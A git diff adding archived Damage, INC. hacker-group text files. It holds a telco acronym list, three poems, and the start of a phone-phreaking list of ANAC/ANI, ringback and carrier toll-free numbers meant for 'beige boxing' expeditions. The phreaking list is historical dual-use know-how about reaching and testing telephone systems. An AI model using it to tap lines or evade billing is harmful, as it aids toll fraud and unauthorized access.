+RTU Right To Use
+RUM Remote User Multiplex
+RWC Remote Work Center
+RX Remote eXchange
+S Sleeve
+SAC Service Area Code
+SAC Service Area Computer
+SAC Special Area Code
+SAG Street Address Guide
+SAI Serving Area Interface
+SALI Standalone Automatic Location Identification
+SAMA Step by step Automatic Message Accounting
+SAR Store Address Register
+SARTS Switched Access Remote Test System
+SAT Special Access Termination
+SAT Supervisory Audio Tone
+SBMS Southwestern Bell Mobile Service
+SBS Skyline Business Systems
+SC Scanner Controller
+SC Sectional Center
+SCAT Stromberg-Carlson Assistance Team
+SCC Satellite Communications Control
+SCC Specialized Common Carrier
+SCC Switching Control Center
+SCCS Specialized Common Carrier Service
+SCCS Switching Control Center System
+SCF Selective Call Forwarding
+SCF Shared Channel Feedback
+SCM Subscriber Carrier Module
+SCO Serving Central Office
+SCOT Stepper Central Office Tester
+SCOTS Surveillance & Control Of Transmissions System
+SCP Signal Control Point
+SCP Signal Conversion Point
+SCP System Control Program
+SCPC Signal Channel Per Carrier
+SCPD Supplementary Central Pulse Distributor
+SCSI Small Computer Systems Interface
+SCU Selector Control Unit
+SCX Specialized Communications eXchange
+SD&D Specific Development & Design
+SDIS Switched Digital Integrated Service
+SDL Specification and Description Language
+SDLC Synchronous Data Link Control
+SDN Software-Defined Network
+SDOC Selective Dynamic Overload Controls
+SDP Service Delivery Point
+SDR Store Data Register
+SDS Switched Data Service
+SDS Synchronous Data Set
+SDSC Synchronous Data Set Controller
+SE Social Engineer
+SEAS Signaling Engineering and Administration System
+SEL SELector
+SES Service Evaluation System
+SF Single Frequency
+SFMC Satellite Facility Management Center
+SG SuperGroup
+SGML Standard Generic Markup Language
+SGMP Simple Gateway Management Protocol
+SI Status Indicator
+SIC Silicon Integrated Circuit
+SID System IDentification
+SIT Special Information Tone
+SLC Subscriber Loop Carrier
+SLE Screening Line Editor
+SLIC Subscriber Line Interface Circuit
+SLIM Subscriber Line Interface Module
+SM Switching Module
+SMAS Supplementary MAin Store
+SMAS Switched Maintenance Access System
+SMASF SMAS Frame
+SMASPU SMAS Power Unit
+SMDF Subscriber Main Distributing Frame
+SMDI Subscriber Message Desk Interface
+SMDR Station Message Detailed Recording
+SMDS Switched Multimegabit Data Service
+SMG SuperMasterGroup
+SMS Service Management System
+SMSA Standard Metropolitan Statistical Area
+SMSCH Short Message Service Channel
+SMTP Simple Mail Transfer Protocol
+SNA System Network Architecture
+SNADS System Network Architecture Distribution Service
+SNET Southern New England Telephone
+SOAC Service Order Analysis Control
+SOC Service Oversight Center
+SOH Service Order History
+SONAR Service Order Negotiation And Retrieval
+SONDS Small Office Network Data System
+SONET Synchronous Optical Network
+SP Signal Processor
+SP Signaling Point
+SPACH SMS point-to-point messaging, paging, and access response channel
+SPAN Space Physics Analysis Network
+SPAN System Performance ANalyzer
+SPC Southern Pacific Communications
+SPC Stored Program Control
+SPCS Stored Program Control Systems
+SPI Serial Peripheral Interface
+SPUC/DL Serial Peripheral Unit Controller/Data Link
+SQL/DS Structured Query Language/Data System
+SRA Selective Routing Arrangement
+SS Special Services
+SSAS Station Signaling and Announcement Subsystem
+SSB Single-SideBand
+SSBAM Single-SideBand Amplitude Modulation
+SSC Special Services Center
+SSCP Subsystem Services Control Point
+SSO Satellite Switching Office
+SSP Signal Switching Point
+SSP Sponsor Selective Pricing
+SSP System Status Panel
+SSPC SSP Controller
+SSPRU SSP Relay Unit
+SSTTSS Space-Space-Time-Time-Space-Space network
+ST STart
+STC Serving Test Center
+STC Switching Technical Center
+STD Subscriber Trunk Dialing
+STDM Statistical Time Division Multiplexing
+STP Signal Transfer Point
+STS Shared Tenant Service
+STS Space-Time-Space network
+SVC Switched Virtual Circuits
+SVS Switched Voice Service
+SWB SouthWestern Bell
+SX SimpleX signaling
+SXS Step by (X) Step
+SYC SYstem Control
+SYSADMIN SYStem ADMINistrator
+SYSGEN SYStem GENeration
+SZ Send Zmodem
+T Tip
+T1/OS T1 carrier OutState
+T1FE T1 carrier Front End
+TA Terminal Adaptor
+TA Transfer Allowed
+TAC Terminal Access Circuit
+TAP Telephone Assistance Plan
+TAS Telephone Answering Service
+TASC Technical Assistance Service Center
+TASC Telecommunications Alarm Surveillance and Control system
+TASI Time Assignment Speech Interpolation system
+TASM Turbo Assembler
+TAT TransAtlantic Telephone
+TB TerraByte
+TC Timing Counter
+TC Toll Center
+TCAP Transaction Capabilities Applications Port
+TCAS T-Carrier Administration System
+TCC Trunk Class Code
+TCG Test Call Generation
+TCM Time Compression Multiplexer
+TCM Trellis Coded Modulation
+TCR Transient Call Record
+TDAS Traffic Data Administration System
+TDC Tape Data Controller
+TDC Terrestrial Data Circuit
+TDD Telecommunications Device for Deaf
+TDM Time Division Multiplexing
+TDMA Time Division Multiple Access
+TDR Time Domain Reflectometer
+TE1 Terminal Equipment Type 1
+TE2 Terminal Equipment Type 2
+TE Terminal Equipment
+TE Transverse Electric
+TEHO Tail End Hop Off
+TELSAM TELephone Service Attitude Measurement
+TERM TERMinal
+TF Toll Free
+TFLAP T-carrier Fault-Locating Applications Program
+TFS Trunk Forecasting System
+TGC Terminal Group Controller
+TGN Trunk Group Number
+TH Trouble History
+TIA Telecommunications Industry Association
+TIA Telephone Information Access
+TIRKS Trunk Integrated Record Keeping System
+TLD Top Level Domain
+TLM Trouble Locating Manual
+TLN Trunk Line Network
+TLP Transmission Level Point
+TLTP Trunk Line and Test Panel
+TM Transverse Magnetic
+TMDF Trunk Main Distributing Frame
+TMMS Telephone Message Management System
+TMR Transient Memory Record
+TMRS Traffic Measurement and Recording System
+TMRS Traffic Metering Remote System
+TMS Time-Multiplexed Switch
+TN Telephone Number
+TN Transaction Number
+TNDS Total Network Data System
+TNN Trunk Network Number
+TNOP Total Network Operation Plan
+TNPC Traffic Network Planning Center
+TNPP Telocator Network Paging Protocol
+TOPS Timesharing OPerating System
+TOPS Traffic Operator Position System
+TP Toll Point
+TP Turbo Pascal
+TPMP Total network data system Performance Measurement Plan
+TR Test Register
+TR Transfer Register
+TREAT Trouble Report Evaluation Analysis Tool
+TRMTR TRamsMiTteR
+TRR Tip-Ring Reverse
+TSCPF Time Switch and Call Processor Frame
+TSCPF Time Switch and Central Processor Frame
+TSI Time Slot Interchanger
+TSO Time Sharing Option
+TSORT Transmission System Optimum Relief Tool
+TSP Test SuPervisor
+TSP Traffic Service Position
+TSPS Traffic Service Position System
+TSS Trunk Servicing System
+TSST Time-Space-Space-Time network
+TST Time-Space-Time network
+TST Traveling-Wave Tube
+TSTS Time-Space-Time-Space network
+TT Trunk Type
+TTC Terminating Toll Center
+TTL Transistor-Transistor Logic
+TTP Trunk Test Panel
+TTS Trunk Time Switch
+TTTN Tandem Tie Trunk Network
+TTY TeleTYpewriter
+TTYC TTY Controller
+TUR Traffic Usage Recording
+TUR Trunk Utilization Report
+TWX TeletypeWriter eXchange
+UCD Uniform Call Distribution
+UDP User Datagram Protocol
+UIC User Identification Code
+UID User ID
+UITP Universal Information Transport Plan
+UNISTAR UNIversal Single call Telecommunications Answering & Repair
+UPC Universal Product Code
+UPS Uninterruptable Power Supply
+URL Universal Resource Locator
+USB Upper Side Band
+USITA United States Independent Telephone Association
+USO Universal Service Order
+USOC Universal Service Order Code
+USP Universal Sampling Plan
+UUCICO Unix to Unix Copy Incoming Copy Outgoing
+UUCP Unix to Unix Copy Program
+VAN Value Added Network
+VC Virtual Circuit
+VCS Virtual Circuit System
+VER VERify
+VF Voice Frequency
+VFY VeriFY
+VGA Video Graphics Array
+VGF Voice Grade Facility
+VHF Very High Frequency
+VINES VIrtual NEtwork Software
+VIU Voiceband Interface Unit
+VLSI Very Large-Scale Integrated circuitry
+VMB Voice Mail Box
+VM/SP Virtual Machine/System Product
+VMCF Virtual Machine Communications Facility
+VMR Volt-Meter Reverse
+VMRS Voice Message Relay System
+VMS Virtual Memory operating System
+VMS Voice Mail/Message System
+VMS Voice Management System
+VNF Virtual Network Feature
+VNL Via Net Loss plan
+VNLF Via Net Loss Factor
+VODAS Voice Over Data Access Station
+VPN Virtual Private Network
+VRS Voice Response System
+VRU Voice Response Unit
+VSAM Virtual Storage Access Method
+VSAT Very Small Aperature Terminal
+VSB Vestigial SideBand modulation
+VSE Virtual Storage Extended
+VSR Voice Storage and Retrieval
+VSS Voice Storage System
+VSSP Voice Switch Signaling Point
+VTAM Virtual Telecommunications Access Method
+VTI Virtual Terminal Interface
+VTOC Volume Table Of Contents
+VTS Video Teleconferencing System
+WAN Wide Area Network
+WATS Wide Area Telephone Service
+WC Wire Center
+WCPC Wire Center Planning Center
+WDM Wavelength Division Multiplexing
+WDT Watch Dog Timer
+WM Work Manager
+WOS Wireless Office Services
+WWW World Wide Web
+XB X-Bar
+XBAR X-BAR
+XBT X-Bar Tandem
+XFE X-Front End
+XMS eXtended Multiprocessor operating System
+XPD Cross Polarization Discrimination
+Y2K Year 2000
+YP Yellow Pages
+ZL Zero Loss
+ZLTR Zero Loss Terminating Resistor
+
+
+Sources:
+-------
+
+This list was compiled over several months time and spans many areas of
+interest (from telco terms to general/common computer terms). Multiple sources
+were used, including: a list from Metal Shop Private BBS (as published in
+Phrack), a list from PIMP issue #3, text files on specific networks, various
+telco documents (Bell, AT&T, MCI) I've found and read, my own knowledge, and
+from memory, etc. It isn't a complete list by any means, but it's as complete
+as it's ever going to be. So, that's why I decided that I might as well release
+it the way it is. It was originally released at the end of 1998 in issue #13 of
+the Damage, INC. Newsletter. A few additions and minor changes have been made
+to it since then. I may decide to update it and release a new version sometime
+in the distant future. That is, if I have the time to type all of the acronyms
+and definitions from various documents that I've obtained. Gathering together
+masses of loose papers that are strewn around is an undertaking in itself.
+
+Final Notes:
+-----------
+
+Hopefully you find this small list of acronyms useful. It was created to be
+used mainly as a reference for terms that you might run across while exploring
+systems, reading text files, looking through documents you found while trashing
+or whatever. :)ÿÿÿÿ
+
+- THC Phreak ú Damage, INC.
+damage_inc@disinfo.net
+http://surf.to/damage_inc
diff --git a/textfiles.com/groups/DAMAGEINC/aquila.txt b/textfiles.com/groups/DAMAGEINC/aquila.txt
new file mode 100644
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+ _______________________________________________ _________________
+ \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/
+ _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _
+ \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_|
+======================== "The name speaks for itself!" ========================
+
+ Poetic Rantings
+
+ http://surf.to/damage_inc
+ damage_inc@disinfo.net
+===============================================================================
+
+Eyes of Aquila.
+
+Arctic air being blasted downward by strong northern winds as a cold front
+moves in. Yet you're still warm. You're still who you are... who you've
+always been. Still someone with a heart I admire... and want to imagine.
+
+Warming...
+
+With eagle eyes you watch from above... observing the situation... studying...
+analyzing and disseminating information. Your eyes and mind dissecting anything
+and everyone. With eyes of wonder like the Argus, watchful and noticing. Yet
+you are calm and easy... and your eyes are not menacing. Ever so pleasant to
+imagine... with such beautiful imagery in my mind... dancing.
+
+Imagining...
+
+Soothing eyes and gentle words with a calming effect that are melodic in tone.
+Poetic without effort, even over the incessant noise and the room's constant
+drone. Always so insightful, with wisdom that forces me to think. Always
+compassionate, never allowing me to fade... never allowing my spirit to sink.
+From the crevasses of your mind, I could drink.
+
+Soothing...
+
+My thirst is quenched and you feed me thoughts to contemplate. You are well
+worth the price of admission, to get to know... trust and wait for fears to
+abate. You've softened me without harming or weakening. Knowing that, I look
+forward to all the future encounters we may have... and what they might possibly
+bring. In Winter's darkness and discontent you are my Spring.
+
+Softening...
+
+A gentle soul that can see right through me, leaving me vulnerable... but not
+alone. All of the advice you've given me, all of the pieces, layers and levels
+of yourself you've shown. I'm thankful... grateful beyond measure. Just
+reading your thoughts... gives me such great pleasure. Your very existence is
+something I truly treasure.
+
+Opening...
+
+All that I know of you can't be put into words, and yet I still know there's so
+much more. So intricate, complex... so deep... you'd take a thousand years to
+explore. With words that sustain and satisfy me... knowledge and interest of
+things that never cease to amaze... you're more than these eyes can see.
+Without judging, your eyes once more cast their hypnotic gaze. And once more
+we meet and converse in this strange, electronic place.
+
+Deepening...
+
+Written by BLACKENED / Damage, INC. (C)opyright 2001.
+
+- Dedicated to Aquila. You are all those things, and more. You're also a
+true friend that I trust and care deeply about. I can no longer imagine not
+having your friendship, since I value it so very much. I treasure your
+existence immensely. Thank you for the encouragement, advice, inspiration and
+all of the other things you've done for me. ;)
diff --git a/textfiles.com/groups/DAMAGEINC/bigbro.txt b/textfiles.com/groups/DAMAGEINC/bigbro.txt
new file mode 100644
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--- /dev/null
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+ _______________________________________________ _________________
+ \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/
+ _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _
+ \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_|
+======================== "The name speaks for itself!" ========================
+
+ Poetic Rantings
+
+ http://surf.to/damage_inc
+ damage_inc@disinfo.net
+===============================================================================
+
+Big Brother Matters.
+
+So close, no matter how far
+Couldn't tear much more lives apart
+Forever changing who you are
+And we're all that matters.
+
+Never exploited your mind this way
+Life is ours, you live it our way
+Bow down on your knees when I say
+And the establishment matters.
+
+Followers I seek and I find in you
+Every day for us wealth renewed
+Close your minds for a different view
+And Big Brother matters.
+
+Never cared for what they do
+Never cared for what they know
+But we know.
+
+So ours, no matter how far
+Couldn't steal much more from your heart
+Forever creating who you are
+And the NWO matters.
+
+Never cared for what you do | Never cared for what zombies do
+Never cared for what you know | Never cared for what zombies know
+But we know. | But we know
+
+Never exploited so many minds this way | Never destroyed so many minds this way
+Your life is ours, you live it our way | You're ours, you live life our way
+All these words we don't just say. | Your only duty is to obey
+
+Zombies I seek and I find in you | Naive minds I seek and I find in you
+Every day we control something new | Every day for us abusing you
+Close your minds for a different view | Fuck your minds for a different view
+And the WTO matters. | And Big Brother matters.
+
+Never cared for what zombies say | Never cared for what slaves say
+Never cared for games they play | Never cared how much they pay
+Never cared for what they do
+Never cared for what they know
+And we know.
+
+So owned, no matter how far | So fucked, no matter how far
+Couldn't take much more from your heart | Couldn't rip much more from your heart
+Forever raping who you are | Forever changing who you are
+No nothing else matters. | No you don't matter.
+
+Notes: This is a song modelled after Metallica's "Nothing Else Matters".
+Obviously, I've modified the lyrics significantly. But that's the style it
+has been written in. Music inspires. I've included alternate (alternative?)
+lyrics for some of the stanzas and marked them beside. It was written in a
+very short amount of time, but I still think it's cool and carries meaning.
+
+Written by Blackie Lawless / Damage, INC. (C)opyright 2000.
diff --git a/textfiles.com/groups/DAMAGEINC/chaos.txt b/textfiles.com/groups/DAMAGEINC/chaos.txt
new file mode 100644
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--- /dev/null
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+ _______________________________________________ _________________
+ \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/
+ _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _
+ \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_|
+======================== "The name speaks for itself!" ========================
+
+ Poetic Rantings
+
+ http://surf.to/damage_inc
+ damage_inc@disinfo.net
+===============================================================================
+
+Chaos and Madness.
+
+In the chaos and madness I live.
+It is the place where creativity is born.
+Nothing is expected and there's nothing you must give.
+
+Imagination can be let loose to run wild.
+Fears are calmed and inspiration is driven.
+It's a state of mind in which thoughts haven't been tamed and turned mild.
+
+In this open space I'm free to roam and explore.
+Its vastness is great.
+Overwhelmed by the lingering chaos, but still wanting more.
+
+Through these plains of existence and doors of perception I traverse.
+Over the hills and upon an ocean of madness.
+Words cannot begin to describe this strange, almost poetic universe.
+
+The randomness is apparent. The chaos is evident.
+Madness is still upon me, lurking in the crevices of my psyche.
+It is here that I can openly rant and vent.
+
+As I delve into this strange, underground world I can feel a euphoric sensation.
+It's unlike anything else I've experienced.
+And just as I begin to embrace this place, I start to make some realizations.
+
+Madness is genius.
+It gives meaning to logic and rationality.
+And it's much more than just sanity amiss.
+
+Chaos gives birth to new ideas.
+In its disorder, mayhem and blinding emotional fervor lies the hidden truth.
+With patience it can become clear to us.
+
+Chaos is madness and madness is chaos.
+They're both equals. The importance of each should never be underestimated.
+If their power is ignored, it's at a great loss.
+
+The contributions they make shouldn't be discounted.
+It's a mistake to believe that they aren't needed.
+And just because they're undesirable to some doesn't mean they aren't wanted.
+
+My heart aches and my mind is aflame.
+I've had an incredible revelation.
+I am madness but I'm not insane.
+
+I'm immersed in madness.
+And I'm surrounded by chaos.
+Of that those who know me well will readily attest.
+
+Into chaos and madness I dive.
+Throwing caution to the wind whilst on the edge of the world.
+And with them as a part of me, I thrive.
+
+Don't underestimate the worth of either.
+Lest you pay the price.
+The reaper isn't a wheeler and dealer.
+
+Slipping into dementia is a strange feeling.
+Every thought, every sensation is heightened.
+It's more than a normal high and nothing short of amazing.
+
+Don't be frightened by death.
+Don't avoid danger.
+And never let your mind rest.
+
+Life is chaos. Life is madness.
+Everything is the universe and the universe is life.
+The universe epitomizes chaos and it embodies madness.
+
+Note: I'm sure the above words aren't the most poetic you've ever read. The
+poem isn't extremely well written. It's more like a rough draft. However, it
+wasn't meant to be perfect. Its purpose was to convey what I was thinking
+during a particular experience and it was written during a chaotic state of
+mind. Altering it would forever change that, thus destroying it. So I've made
+no attempt to "improve" it, since that cannot be done without ruining the
+original meaning and personal thoughts that it was meant to share. Actually,
+the whole fucking thing is basically just a long rant. So take it for what
+it is and view what I wrote however you want. ;)
+
+Written by BLACKENED ú Damage, INC. (C)opyright 1999.
diff --git a/textfiles.com/groups/DAMAGEINC/dam00spr.txt b/textfiles.com/groups/DAMAGEINC/dam00spr.txt
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+ _______________________________________________ _________________
+ \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/
+ _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _
+ \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_|
+======================== "The name speaks for itself!" ========================
+
+ Phreaky Field Phreaking List.
+ ú Spring 2000 Edition ú
+ (Released: 05/05/00)
+
+ http://surf.to/damage_inc
+ damage_inc@disinfo.net
+===============================================================================
+
+Introduction:
+
+This is the fifth edition of the Damage, INC. Phreaky Field Phreaking List. We
+recommend that you print it out and take it with you on beige boxing/junction
+boxing expeditions or for use as a reference while at payphones. Hell, just
+take it with you wherever you travel. You never know when you're going to need
+it. :) This comprehensive list includes many toll free numbers for telcos,
+test numbers, conferences, computer companies, carriers, cellular, and other
+services, etc. It's not just damn phreaky, it's the phreakiest!
+
+Disclaimer:
+
+The Damage, INC. Phreaky Field Phreaking List is for informational purposes
+only. We are not responsible for how it is used, including but not restricted
+to any fraudulent, illegal acts that may be committed, unauthorized access of
+systems, loss/theft of services or any damages that may be caused as a result
+of someone else's activities. If/how you use these numbers is entirely your
+choice. In summary, you're legally responsible for your own deeds and actions.
+Now that the legal shit has been thoroughly covered, here's what you have all
+been waiting for... :)
+
+-------------------------------------------------------------------------------
+ ANACs/ANIs and Ringbacks:
+-------------------------------------------------------------------------------
+
+(514) 320-0047 Slow ANAC for Montreal, Quebec.
+(514) 320-1147 Fast ANAC for Montreal, Quebec.
+(519) 748-3220 Viewer's Choice order line for Kitchener. (press 1 for ANI)
+(613) 320-2232 ANI for Ottawa, Ontario.
+(615) 557-2311 ANI for Nashville, Tennessee.
+(954) 780-2411 ANI for Fort Lauderdale, Florida.
+
+1-800-222-6000 eVoice by Nokia. Press "88,06" for ANI. ("88,05" for date/time)
+1-800-346-0152 ANI.
+1-800-42562563 (1-800-4-BLOCKME) VRS Billing Systems and IntegriTel offers
+ free 1-800 blocking and ANAC.
+1-800-487-9240 ANI (doesn't work from 519)
+1-800-514-9939 ANI (doesn't work from 416/519)
+1-800-532-7486 AT&T Credit and Accounts Center. (Press "1,1" for ANI)
+1-800-555-1160 ANI (always busy now...)
+1-800-555-1170 ANI (always busy now...)
+1-800-569-5699 ANI (press "7*#")
+1-800-638-2392 Press "2" for ANI info.
+1-800-666-1379 Press "1,3,1" for ANI info.
+1-800-692-6447 (1-800-MY-ANI-IS) Requires a passcode.
+
+305-780-6095 Ringback for Miami, Florida
+320-XXX-XXXX Ringback for Montreal, Quebec.
+507-XXX-XXXX Ringback for Alberta.
+590-XXX-XXXX Ringback for 204 NPA.
+777-XXX-XXXX Ringback for Indiana.
+954-780-6321 Ringback for 954 NPA.
+954-999-XXXX Ringback for 954 NPA.
+999-XXX-XXXX Ringback for 519 NPA.
+999-XXX-XXXX Ringback for North Bay, Ontario (705)
+999-XXX-XXXX Ringback for Ottawa, Ontario (613)
+999-XXX-XXXX Ringback for portions of Toronto, Ontario (416)
+
+
+-------------------------------------------------------------------------------
+ AT&T:
+-------------------------------------------------------------------------------
+
+1-800-221-0000 AT&T Interactive Advantage Customer Support Line.
+1-800-221-7680 AT&T Digital Video Center.
+1-800-222-0300 AT&T Main Number.
+1-800-222-0400 AT&T Custom Care Centre (for long distance service)
+1-800-222-0900 AT&T Customer Care Center.
+1-800-222-1000 AT&T Customer Care Center.
+1-800-222-3000 AT&T Customer Service.
+1-800-222-5111 Lucent/Phillips Communications/AT&T Telephones.
+1-800-222-7956 AT&T Global ISDN Customer Care Center.
+1-800-223-4507 AT&T.
+1-800-225-1718 AT&T Prepaid Phone Cards Customer Service.
+1-800-225-5288 (1-800-CALL-ATT) AT&T Collect Calls.
+1-800-225-5856 AT&T's Vendor Agent Program.
+1-800-232-8200 AT&T Personal Rewards.
+1-800-235-4288 AT&T America.
+1-800-241-LOST AT&T Lost/Stolen Calling Cards.
+1-800-242-2422 Loral Skynet Satellite Services (formerly AT&T Skynet)
+1-800-242-6005 AT&T Internet Services.
+1-800-243-0506 AT&T Find America Directory Service.
+1-800-247-6636 AT&T Wireless Services In-Flight Customer Care.
+1-800-248-3632 AT&T Data Network Business Information Solutions.
+1-800-252-7266 AT&T Alascom. (Anchorage, Alaska)
+1-800-253-3846 AT&T Customer Care Center for the Federal Government.
+1-800-254-8442 AT&T Repairs and Billing.
+1-800-255-1242 AT&T Customer Information Center (Canada)
+1-800-258-0123 AT&T Customer Care Center.
+1-800-268-5931 AT&T Wireless Service VMB.
+1-800-268-5939 AT&T (Operator)
+1-800-305-9494 AT&T Wireless (MetroCall) Messaging.
+1-800-322-MWBE AT&T Supplier Diversity Program Information Line.
+1-800-325-0138 AT&T Small Business Customer Care.
+1-800-331-3449 AT&T Employee Line (Lists AT&T Job openings)
+1-800-338-8095 AT&T (Mandarin)
+1-800-338-8097 AT&T (Korean, Cantonese, Mandarin)
+1-800-338-8106 AT&T (Cantonese)
+1-800-338-8120 AT&T (Japanese)
+1-800-342-5288 AT&T Customer Care Center.
+1-800-344-5100 AT&T Voice/ISDN Services.
+1-800-345-4746 AT&T (Tagalog)
+1-800-344-9248 AT&T.
+1-800-348-8288 AT&T Shareholder Services.
+1-800-351-5855 AT&T Helpdesk.
+1-800-361-2218 AT&T Canada.
+1-800-362-9689 AT&T Customer Network Service Center.
+1-800-367-7956 AT&T.
+1-800-387-1026 AT&T Canada Business Sales.
+1-800-387-1926 AT&T Canada Customer Care Centre.
+1-800-4-ONE-RATE AT&T One Rate plan subscriptions.
+1-800-400-1447 AT&T WorldNet Service Billing.
+1-800-418-8999 AT&T Customer Care Center. (long distance service)
+1-800-423-4343 AT&T Universal Card.
+1-800-424-6030 AT&T's Matching Gift Processing Center.
+1-800-425-5288 AT&T Products and Services.
+1-800-426-8686 AT&T Printed Directories. (U.S. only)
+1-800-428-8468 AT&T Global Services Center.
+1-800-428-8669 (1-800-4ATT-NOW) AT&T Personal Network Sales Center.
+1-800-432-6600 AT&T Customer Information Center (USA)
+1-800-435-7375 AT&T EasyLink Technical Support. (U.S. only)
+1-800-438-3151 AT&T Wireless, Job Line.
+1-800-443-8288 (1-800-GIFT-ATT) AT&T Gift Certificates.
+1-800-446-7466 (1-800-4GOPHONE) AT&T Wireless GoPhone Services.
+1-800-448-1008 AT&T Carrier Choice Protection.
+1-800-448-8600 AT&T Global Customer Service Center.
+1-800-462-4463 Rogers AT&T Wireless.
+1-800-483-9288 AT&T and Texaco's Information Line.
+1-800-503-6961 AT&T New York Local One Rate Sales.
+1-800-503-6962 AT&T Texas Local One Rate Sales.
+1-800-522-2157 AT&T Investigations Department.
+1-800-524-2455 AT&T Customer Care.
+1-800-525-7955 AT&T Direct Call Cards.
+1-800-528-0465 AT&T CampusWide Access Solutions.
+1-800-532-2021 AT&T Carrier Line Charge Information.
+1-800-538-5345 AT&T Slamming Resolution Center.
+1-800-542-2025 AT&T (Russian)
+1-800-552-3373 AT&T Wireless Advanced Network Services Support.
+1-800-555-8111 AT&T Consumer Lease Services.
+1-800-562-2255 AT&T 1-800 Directory Advertising.
+1-800-562-6275 AT&T Message Sender (Send an automated message to any number in
+ the world with your voice. Accepts calling cards & credit cards)
+1-800-562-7288 (1-800-JOBS-ATT) AT&T Employee Line. (U.S. only.)
+1-800-565-4708 AT&T Canada Long Distance Services.
+1-800-567-3692 AT&T Canada Long Distance Services. (French)
+1-800-567-4672 AT&T Canada Electronic Commerce Services.
+1-800-575-5511 AT&T Canada Long Distance Services.
+1-800-575-5533 AT&T Canada Residential Sales. (French)
+1-800-575-9999 AT&T Canada.
+1-800-628-8486 AT&T Language Line Services.
+1-800-634-8078 AT&T Billing Office/Accounts info.
+1-800-643-2255 AT&T Translation Service. (Foreign languages only)
+1-800-647-9808 AT&T (Hindi)
+1-800-661-2268 Rogers AT&T Wireless Automated Self-Service System.
+1-800-662-3036 AT&T Texas Local One Rate Service.
+1-800-662-6214 AT&T Calling Card Protection line.
+1-800-662-7759 (1-800-66-APPLY) AT&T Universal Card.
+1-800-670-2255 AT&T Canada Long Distance Services.
+1-800-670-6000 AT&T Canada Long Distance Services.
+1-800-673-7286 AT&T 1-800-OPERATOR. Specializes in collect calls. Automated.
+1-800-678-7918 AT&T Business Customer Care Center.
+1-800-682-8706 AT&T Telecommunications Relay Customer Service. (Voice)
+1-800-682-8786 AT&T Telecommunications Relay (TTY)
+1-800-7-HOSTIN AT&T Internet Services.
+1-800-732-2255 AT&T High Seas Radio Telephone and Mobile Satellite Services.
+1-800-746-7846 AT&T Internet Services.
+1-800-752-0093 AT&T Language Line Services.
+1-800-752-6096 AT&T Language Line Customer Service Center.
+1-800-790-2255 AT&T Canada Long Distance Services.
+1-800-790-6000 AT&T Canada Long Distance Services.
+1-800-807-2466 AT&T Learning Points Program.
+1-800-820-6464 AT&T Digital Long Distance/ISDN Services.
+1-800-822-9009 AT&T Corporate Security, internal investigations.
+1-800-826-2600 AT&T (Polish)
+1-800-827-1226 AT&T Global Network Systems.
+1-800-830-2255 AT&T Canada Long Distance Services.
+1-800-831-5259 AT&T WorldNet Business/Data Services.
+1-800-833-0520 AT&T (Vietnamese)
+1-800-833-8134 Telecommunications Relay Service (TRS) Voice Callers (non-TDD/TT)
+1-800-833-3232 AT&T ACS Long Distance Bill Inquiries.
+1-800-842-9710 AT&T Telecommunications Relay Service (TRS) for TDD/TT users.
+1-800-850-TIES AT&T Easy Reach 800. (Call to setup Easy Reach 800s)
+1-800-855-1155 AT&T LDRS Directory Assistance. (TTY Carrier for the deaf)
+1-800-855-2880 AT&T Long Distance Relay Service (TTY)
+1-800-855-2881 AT&T Long Distance Relay Service (automated/voice)
+1-800-855-2882 AT&T Long Distance Relay Service (TTY)
+1-800-855-2883 AT&T Long Distance Relay Service (TTY)
+1-800-858-9857 AT&T True Rewards (option 1)
+1-800-872-3883 AT&T.
+1-800-878-3123 (1-800-TRUE-123) AT&T True Messages Service.
+1-800-878-3500 AT&T True Connections Personal 500 Number Service.
+1-800-888-7600 AT&T Wireless Customer Service.
+1-800-889-4408 AT&T NCC (Network Control Center) and TCC.
+1-800-892-3850 AT&T Wireless Long-Distance Service.
+1-800-942-6726 AT&T Usage Minimum.
+1-800-957-9000 AT&T Canada.
+1-800-958-2255 AT&T Canada Long Distance Services.
+1-800-958-6000 AT&T Canada Long Distance Services.
+1-800-959-1090 AT&T New York Local Service.
+1-800-967-5363 AT&T WorldNet Service.
+1-800-970-2255 AT&T Canada Long Distance Services.
+1-800-998-3947 AT&T Authorized Stocking Distributor/Zack Electronics.
+1-800-ATT-4ALL AT&T New York Local Service.
+1-800-GIFT-ATT AT&T Gift Certificates (extension 410) (Mon-Fri, 9-5)
+1-800-IMAGINE Rogers AT&T Wireless.
+1-800-WORLDNET (1-800-96753638) AT&T Canada Internet Service.
+1-877-ATT-2345 AT&T Canada Long Distance Services. (Main Switchboard)
+1-888-8-METNET MetroNet AT&T Canada.
+1-888-863-8638 AT&T Canada Customer Service.
+1-888-888-5413 AT&T WorldNet Service.
+1-888-928-8932 (1-888-9ATT-WEB) AT&T Online Customer Service.
+1-888-933-1212 AT&T Cellular phone accessories. (U.S. only)
+1-888-ATT-1233 AT&T Canada Internet Service.
+1-888-ATT-ALL1 AT&T Customer Care Center.
+1-888-ATT-INTL AT&T International Helpline in Basking Ridge, NJ.
+1-888-ATT-TRW3 AT&T True Rewards Account questions.
+
+
+-------------------------------------------------------------------------------
+ Ameritech:
+-------------------------------------------------------------------------------
+
+(314) 444-4444 Ameritech (St. Louis Office)
+1-800-207-2228 Ameritech.
+1-800-221-0994 Ameritech Cellular and Paging.
+1-800-244-4444 Ameritech Customer Billing Office (works outside of Illinois)
+1-800-249-4449 Ameritech Yellow Pages Advertising Sales.
+1-800-257-0902 Ameritech Main Office.
+1-800-323-7311 Ameritech Capital Services.
+1-800-327-3470 Ameritech Advertising Services.
+1-800-331-5454 Ameritech.
+1-800-346-4377 Ameritech Directory Order Center.
+1-800-433-8505 Ameritech Special Needs Center.
+1-800-446-PAGE Ameritech Cellular and Paging.
+1-800-468-3949 Ameritech Automated Services.
+1-800-475-7449 Ameritech Payphone Repair.
+1-800-480-8088 Ameritech Business Solutions Center.
+1-800-493-7243 Ameritech Quick Reach Pager Services.
